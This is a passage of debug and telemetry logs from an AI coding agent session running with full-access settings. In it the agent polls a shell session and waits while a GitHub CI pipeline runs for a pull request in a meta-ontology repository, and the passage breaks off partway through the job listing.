codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_B3Agmg7W9SNcyvTq6KLlderv tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=17921 total_duration_ms=17921\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.767Z] [INFO] 2026-07-12T04:09:49.764659Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:09:49.767Z] [INFO] \n[2026-07-12T04:09:49.776Z] [INFO] 2026-07-12T04:09:49.776366Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:49.776Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.776Z] [INFO] 2026-07-12T04:09:49.776448Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:49.776Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.776Z] [INFO] 2026-07-12T04:09:49.776483Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:09:49.776Z] [INFO] \n[2026-07-12T04:09:50.759Z] [INFO] 2026-07-12T04:09:50.756098Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53138ebd788191be999bd78cfd6f9a\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOOzNwWf468lBf5S4HKDI7ccbNuUuAOXj6FfU6ueUnVynJAxwuJXgX3VOuELPrM4m6IadnJoYvtpJslaavDoQVVIYrJAedCdTGcg6Qqe9OOMb85vlvgh-dqnfF9VToQw4Qa3DRwYi-0RUneOUBGidnn8eZIoeR210m2nhM74b8rT5aecsLvE0-spzlVVnfu6io4ASVPlCxYv47ygPk2MfB3X2CWrdaCn96z2124vzmS5jnNhfcsxu-yteH37a-_hd4WyNsW0OYI6JmjXmVfNYZxFvGPAui0Avm8wC0P81o3KbHLq4SQY3UFZ_h0OkTOO1pF3cFrsgk1QbLhmB-v7KdeVjuZSzJqdHku0XGZcR0jnYM8KEUZMqkyoi7MQ505QjZ4KdH2cMB1xQvmJKY-wTBVeJhA3HFBSPsVL5wK0yxZ8BYlD0Zjq7kuO1nk1YBravfAxYvJng7OCehUsk1Dx3bqZhLXhd3td5yFrpmTMA0QGVDNRKTzxMSTskA9OGiJvJOS_EY_6RwEPva2a0hyB9wrzR6SjejzDga1DgZhDSvcqnfFX_yWd6VcQzVy8UNEN0_FxPvDG4dzvwa2tYhkMk3Mn5uteF9OImgam5WnJ_T2MNZiDf248yhu8P_SV2WVTshzgyFlH8bgL8s9U_DgY60E_fdhhWd_rz0oqUjt7VAnUmT-wYnyyR5VOOdwxTz5M8gQrEohT8ou-Tn3iycBievHchfoYmdaINgT6ZUdQKhnB7TIfLJ3f-fU0gFF9zympfU6Wef8i4G1fsqsJlXoJmMNiTJhuFYl6x8X6lCUMvNxZqcYM5GJCshRcjNdk63WYhmIUzVybg_01fzW4dEXSNjFl6UNXBcpcTxhxoMnVVesW0yq_AUxPrPt_XXjuq4W_6IeB8wuwQmamxlfkF6_v4uDPw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:50.759Z] [INFO] \n[2026-07-12T04:09:51.202Z] [INFO] 2026-07-12T04:09:51.202153Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53138ebd788191be999bd78cfd6f9a\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOPwv0Pc3GNdpDB4bS4lc2XYaTz2-xVpv6xP6sfFLhYZN1mkuCEd2bh1xTk_RYiV0g68wKmMDpnpvvwsY6KgrdGofqCFCGb7uL5ilRJe_LxqBTVFbHbvKOqA6yK9Dyl8aRZUSy3rFGqN5MQ7_M50eFgjRarGdYTaC2BGJX0Kfi20ELinBSzT3TSH4-0xsym3UfG4Fy9uD_xsQcBzduaFInu9dnSyZ_UyjXWhLW1ohUz5q-mBRrhETOaLugrsGCZdc6UpynPGdTB3m9IC-heG_bRTmdWEx7If6hJfUs6dI7KESiUgabRGs-3ywHRaeSR1kJyE3Qkgt-GeE-01JCBHLBDItQuwrIBbAv6FZwvyb_m1zcFVE-8wA0MjaUiaThjBOPYSboo9eIIDCwRfHXdPu3pu6iliS6X4SQdQ71FLIvX5-Ios40ijJfKCNH7Q0hENiSUxgMcXvWTtooXyt4alRWL8YzE9IHqkmYCinzjXH6MeqyrShWI6DXeGpt9XOIljgA4lxP34Hw_aYTcJqifRmkrHzqDjRfZxH13f9zPT7Awd2ft27o2_Hjb5qPTNEmq49q65AVyPY1r8BcdMFQ7B2tA2VD5dgZzY-bxkyd-_KMkSGKFbS5pOiktUAhK2PNjl0mrxZt0mox-4GyvtMc9UjaGz5DEHahtDTaCdxHtgjISQqST4cAOFnLYpwihG97dpz_jc4te_Ec91b8stHmrEN3rBmkINeTXZmf2Hhjj_Zlxu6d3PLQnSwiN0xvASkC_rY16Xrgg9ubKU0PGJf6t4HYZZO3moDPez-uQBMSxs112v_oJUmc-i3lmbxE2h8hdvTVCnbH3aSfei72K-FKl05Msiwy2eVVVT-X_huv4fmhhcQcN1GNq0FUzZIEZExBD8ZtZBgSTs2pSYNlPDPHtCp5pDOthiAwn6hqLIciENcNnoW89jyl8tBLVrBxhg5OsnosP\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:51.202Z] [INFO] \n[2026-07-12T04:09:51.205Z] [INFO] 2026-07-12T04:09:51.203179Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53138f23a08191898ef7dc1a3be246\"), status: Some(\"in_progress\"), call_id: \"call_irREWrgT51a92XhHeOK9GXhe\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:51.205Z] [INFO] \n[2026-07-12T04:09:53.904Z] [INFO] 2026-07-12T04:09:53.902152Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:09:53.904Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:53.904Z] [INFO] \n[2026-07-12T04:09:53.918Z] [INFO] 2026-07-12T04:09:53.917169Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53138dd7448191b1851525eafd3ef9\"\n[2026-07-12T04:09:53.918Z] [INFO] 2026-07-12T04:09:53.917232Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86085 output_token_count=69 cached_token_count=80640 reasoning_token_count=8 tool_token_count=86154 ttft_ms=980 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:53.917Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:53.918Z] [INFO] 2026-07-12T04:09:53.917254Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86085 output_token_count=69 cached_token_count=80640 reasoning_token_count=8 tool_token_count=86154 ttft_ms=980 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:53.917Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:53.918Z] [INFO] \n[2026-07-12T04:10:04.001Z] [INFO] 2026-07-12T04:10:03.983360Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_irREWrgT51a92XhHeOK9GXhe arguments=const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:10:04.001Z] [INFO]  duration_ms=10079 success=true output=Script running with cell ID 26\n[2026-07-12T04:10:04.001Z] [INFO] Wall time 10.1 seconds\n[2026-07-12T04:10:04.001Z] [INFO] Output:\n[2026-07-12T04:10:04.001Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:03.983Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.001Z] [INFO] 2026-07-12T04:10:03.983528Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_irREWrgT51a92XhHeOK9GXhe duration_ms=10079 success=true arguments_length=175 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:03.983Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.001Z] [INFO] \n[2026-07-12T04:10:04.016Z] [INFO] 2026-07-12T04:10:03.990181Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_irREWrgT51a92XhHeOK9GXhe tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10086 total_duration_ms=10086\n[2026-07-12T04:10:04.016Z] [INFO] \n[2026-07-12T04:10:04.281Z] [INFO] 2026-07-12T04:10:04.280496Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:04.281Z] [INFO] \n[2026-07-12T04:10:04.302Z] [INFO] 2026-07-12T04:10:04.292223Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:04.292Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.302Z] [INFO] 2026-07-12T04:10:04.292299Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:04.292Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.302Z] [INFO] 2026-07-12T04:10:04.292333Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:04.302Z] [INFO] \n[2026-07-12T04:10:05.424Z] [INFO] 2026-07-12T04:10:05.400991Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a53139d61e4819189df998679b4bf47\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_8dHjT22roV3zgUZn4d8ORdIp\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:05.424Z] [INFO] \n[2026-07-12T04:10:05.971Z] [INFO] 2026-07-12T04:10:05.970531Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"26\",\"yield_time_ms\":30000,\"max_tokens\":10000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:10:05.971Z] [INFO] \n[2026-07-12T04:10:05.977Z] [INFO] 2026-07-12T04:10:05.976663Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53139c59b08191948240c630dcebaf\"\n[2026-07-12T04:10:05.977Z] [INFO] 2026-07-12T04:10:05.976715Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86182 output_token_count=31 cached_token_count=85760 reasoning_token_count=0 tool_token_count=86213 ttft_ms=1108 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:05.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:05.977Z] [INFO] 2026-07-12T04:10:05.976739Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86182 output_token_count=31 cached_token_count=85760 reasoning_token_count=0 tool_token_count=86213 ttft_ms=1108 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:05.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:05.977Z] [INFO] \n[2026-07-12T04:10:13.054Z] [INFO] 2026-07-12T04:10:13.052879Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:10:13.054Z] [INFO] 2026-07-12T04:10:13.053003Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:10:13.054Z] [INFO] \n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.058610Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=7 time_taken_in_millis=5\n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.059644Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.059679Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.061086Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:10:13.068Z] [INFO] \n[2026-07-12T04:10:13.122Z] [INFO] 2026-07-12T04:10:13.112160Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:10:13.122Z] [INFO] 2026-07-12T04:10:13.122156Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:10:13.122Z] [INFO] 2026-07-12T04:10:13.122189Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderInvokedExport\" export_result=\"Ok(())\"\n[2026-07-12T04:10:13.122Z] [INFO] 2026-07-12T04:10:13.122206Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadLoopAlive\" Next export will happen after interval, unless flush or shutdown is triggered. interval_in_millisecs=59930\n[2026-07-12T04:10:13.122Z] [INFO] \n[2026-07-12T04:10:24.030Z] [INFO] 2026-07-12T04:10:24.029764Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=write_stdin call_id=exec-f9bec46e-44e1-41e9-9f7f-054f6e2ebab9 arguments={\"session_id\":81385,\"chars\":\"\",\"yield_time_ms\":30000,\"max_output_tokens\":10000} duration_ms=30060 success=true output=Chunk ID: 1d807e\n[2026-07-12T04:10:24.030Z] [INFO] Wall time: 30.0598 seconds\n[2026-07-12T04:10:24.030Z] [INFO] Process running with session ID 81385\n[2026-07-12T04:10:24.030Z] [INFO] Original token count: 4826\n[2026-07-12T04:10:24.030Z] [INFO] Output:\n[2026-07-12T04:10:24.030Z] [INFO] Refreshing run status every 3 seconds. Press Ctrl+C to quit.\n[2026-07-12T04:10:24.030Z] [INFO] \n[2026-07-12T04:10:24.030Z] [INFO] * issue-5-e2602184e2c5 CI/CD Pipeline link-foundation/meta-ontology#6 \u00b7 29179259847\n[2026-07-12T04:10:24.030Z] [INFO] Triggered via pull_request about 1 minute ago\n[2026-07-12T04:10:24.030Z] [INFO] \n[2026-07-12T04:10:24.030Z] [INFO] JOBS\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Detect Changes in 58s (ID 86613875688)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Detect changes\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Post Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Complete job\n[2026-07-12T04:10:24.030Z] [INFO] \u2713 Version Modification Check in 51s (ID 86613875700)\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Setup Rust\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Install rust-script\n[2026-07-12T04:10:24.030Z] [INFO]   \u2713 Check for manual version 